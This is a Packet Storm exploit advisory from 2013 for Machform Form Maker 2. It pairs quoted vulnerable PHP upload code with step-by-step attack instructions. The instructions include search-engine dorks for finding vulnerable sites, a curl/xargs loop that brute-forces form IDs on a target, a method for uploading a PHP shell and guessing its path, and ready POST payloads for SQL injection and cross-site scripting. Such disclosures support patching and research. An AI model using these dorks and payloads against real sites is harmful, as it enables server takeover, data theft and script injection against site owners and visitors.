what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Machform Form Maker 2 XSS / Shell Upload / SQL Injection

Machform Form Maker 2 XSS / Shell Upload / SQL Injection
Posted Jul 2, 2013
Authored by Yashar shahinzadeh

Machform Form Maker 2 suffers from cross site scripting, remote shell upload, and remote SQL injection vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss, sql injection
SHA-256 | 7f42c27f6e28d5a9e1f2ce8ed5dc1aa4c22b31529a3dbbefb780bc816ddb4efc

Machform Form Maker 2 XSS / Shell Upload / SQL Injection

Change Mirror Download
###########################################################################################
# Exploit Title: Machform form maker - Multiple Vulnerabilities
# Date: 2013 17 June
# Exploit Author: Yashar shahinzadeh
# Credit goes for: ha.cker.ir
# Vendor Homepage: http://www.appnitro.com
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 2
# Special thanks to: Mormoroth
# Dork1: "Powered by MachForm" id=
# Dork2: formularios/view.php?id=
# Dork3: inurl:machform/view.php?id=
#
# Demonstration clip: http://y-shahinzadeh.ir/tutorial/machform.rar
# Contacts: { http://Twitter.com/YShahinzadeh , http://Twitter.com/Mormoroth }
###########################################################################################

Summary:
========
1. Arbitrary file upload
2. MySQL Injection (Error based) and XSS


1. Arbitrary file upload:
=========================

...
...
if(!empty($uploaded_files)){
foreach ($uploaded_files as $element_name){
if(empty($form_review)){
//move file and check for invalid file
$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}";
if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
$query = "update ap_form_{$form_id} set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
do_query($query);
}
}else{
//for form with review enabled, append .tmp suffix to all uploaded files
//move file and check for invalid file
$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}.tmp";
if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
$query = "update ap_form_{$form_id}_review set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
do_query($query);
}

if(!empty($uploaded_file_lookup[$element_name])){
unset($uploaded_file_lookup[$element_name]);
}
}
}
}
...
...

Exploit:

In beginning, the hacker must aim view.php located at the root of site, observing the lines inside of mentioned file would be a big lead to disclosure of vulnerability:

$input_array = ap_sanitize_input($_POST);
$submit_result = process_form($input_array);

These two lines have functions leading to have both MySQL injection and Arbitrary file upload vulnerability. I’m not going to audit codes, I may just illustrate the attack started by applying brute-force procedure on ID parameter so as to find a form consisting file upload form, it can be achieved by any program, I just issued a Linux command helped me find it properly:

seq 1 500 | xargs -I XX -P32 curl -s http://target/view.php=XX -o XX.out
grep “type=\”file\”" *.out

Afterwards, an HTML element followed by “for=”(.*)” must be specified, picture below gives better concept:

http://blog.y-shahinzadeh.ir/posts-images/machform/7.jpg

All have to be done is uploading PHP shell, and trying to find its name on server. The file will be uploaded in the path:

http://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php

In URL above, [ID] is gathered in brute-force phase, [element name] is gathered by viewing HTML source, and [mysql_insert_id()] should be brute-forced again. Being relatively difficult, I’ve recorded a clip demonstrating what I’ve said:

http://y-shahinzadeh.ir/tutorial/machform.rar

2. MySQL Injection (Error based) and XSS:
=========================================
...
...
$input_array = ap_sanitize_input($_POST);
...
...


Exploit (POST to view.php after finding HTML elements):

element_1=1&element_2=’&element_3=1&form_id=11&submit=1
element_1=1&element_2=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28949236%29%3c%2fScRiPt%3e&element_3=1&form_id=11&submit=Enviar

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close